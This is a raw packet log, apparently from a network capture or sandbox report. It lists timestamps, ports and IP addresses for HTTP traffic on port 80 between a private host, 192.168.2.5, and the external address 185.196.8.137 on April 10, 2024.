Apr 10, 2024 10:24:11.691021919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.691021919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.691021919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.691021919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.691159964 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.691159964 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.691159964 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.691201925 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.691240072 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.691329002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.691329002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.691414118 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.691414118 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.691414118 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.691414118 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.691453934 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.691459894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.691459894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.691459894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.691545963 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.691701889 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.691761017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.691761017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.691786051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.691939116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.691939116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.691939116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.691939116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.691939116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.691966057 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.692054987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.692054987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.692054987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.692054987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.692317009 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.692317009 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.692317009 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.692317009 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.692317009 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.692426920 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.692433119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.692606926 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.692625999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.692625999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.692660093 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.692696095 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.692889929 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.692889929 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.692889929 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.692889929 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.692903042 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.692975998 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.692975998 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.693099976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.693099976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.693099976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.693181038 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.693181038 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.693308115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.693308115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.693308115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.693372011 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.693386078 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.693392038 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.693392038 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.693403006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.693506956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.693506956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.693793058 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.693851948 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.693851948 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.693851948 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.693851948 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.693969011 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.693970919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.693970919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.693970919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.693970919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.694080114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.694080114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.694080114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.694080114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.694186926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.694341898 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.694361925 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.694361925 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.694361925 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.694786072 CEST	49719	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.694911957 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.695286989 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.695302963 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.695655107 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.695899963 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.695935011 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.695997000 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.696084976 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.696336031 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.696552038 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.696685076 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.696923971 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.697092056 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.697344065 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.697478056 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.697489977 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.697798967 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.698909998 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.698940039 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.699191093 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.699537992 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.699573040 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.699584007 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.699664116 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.699708939 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.699815035 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.699961901 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.700180054 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.700300932 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.700470924 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.700692892 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.700871944 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.700902939 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.701080084 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.701093912 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.701453924 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.701492071 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.701492071 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.701492071 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.701591969 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.701591969 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.701591969 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.701627016 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.701689005 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.702249050 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.702264071 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.702330112 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.702773094 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.702785969 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.702796936 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.703586102 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.703586102 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.703604937 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.703669071 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.703669071 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.703846931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.703846931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.703846931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.704123020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.704123020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.704144955 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.704190969 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.704204082 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.704332113 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.704332113 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.704332113 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.704332113 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.704413891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.704413891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.704413891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.704464912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.704482079 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.704513073 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.704603910 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.704679012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.704885960 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.704885960 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.704885960 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.704885960 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.705076933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.705076933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.705076933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.705076933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.705246925 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.705246925 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.705246925 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.705246925 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.705298901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.705300093 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.705328941 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.705415010 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.705468893 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.705468893 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.705468893 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.705491066 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.705545902 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.705672026 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.705801964 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.705801964 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.705801964 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.705836058 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.705933094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.705933094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.705933094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.705933094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.706028938 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.706041098 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.706048965 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.706048965 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.706048965 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.706048965 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.706093073 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.706135988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.706135988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.706259966 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.706264973 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.706418991 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.706438065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.706438065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.706438065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.706461906 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.706589937 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.706875086 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.706892967 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.707056046 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.707165003 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.707710028 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.707861900 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.708314896 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.708461046 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.708673000 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.708995104 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.709284067 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.712591887 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.712719917 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.713020086 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.713149071 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.713285923 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.714126110 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.714814901 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.714832067 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.714987040 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.715256929 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.715337038 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.715393066 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.715606928 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.715783119 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.715898037 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.715922117 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.715933084 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.715943098 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.716301918 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.716489077 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.716773033 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.716854095 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.717205048 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.717478037 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.717734098 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.717850924 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.718126059 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.718302011 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.718525887 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.718553066 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.718770027 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.718862057 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.719074965 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.719249010 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.719366074 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.719629049 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.719919920 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.720134020 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.720567942 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.720762014 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.721033096 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.721085072 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.721096039 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.721509933 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.721761942 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.722112894 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.722248077 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.722263098 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.722326040 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.722604036 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.722847939 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.723047018 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.723176003 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.723754883 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.724003077 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.724314928 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.724339962 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.725528955 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.725559950 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.725974083 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.726144075 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.726197004 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.726391077 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.726423025 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.726778030 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.726808071 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.727072001 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.727183104 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.728256941 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.729008913 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.731053114 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.731899977 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.732079983 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.732270956 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.732475996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.732475996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.732518911 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.732518911 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.732547998 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.732625961 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.732625961 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.732625961 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.732716084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.732716084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.732716084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.732820988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.732820988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.732820988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.732820988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.732820988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.732853889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.732855082 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.732913971 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.732913971 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.733017921 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.733045101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.733045101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.733045101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.733045101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.733061075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.733102083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.733124971 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.733136892 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.733185053 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.733220100 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.733280897 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.733455896 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.733784914 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.746228933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.746328115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.753416061 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.753494978 CEST	80	49718	185.196.8.137	192.168.2.5
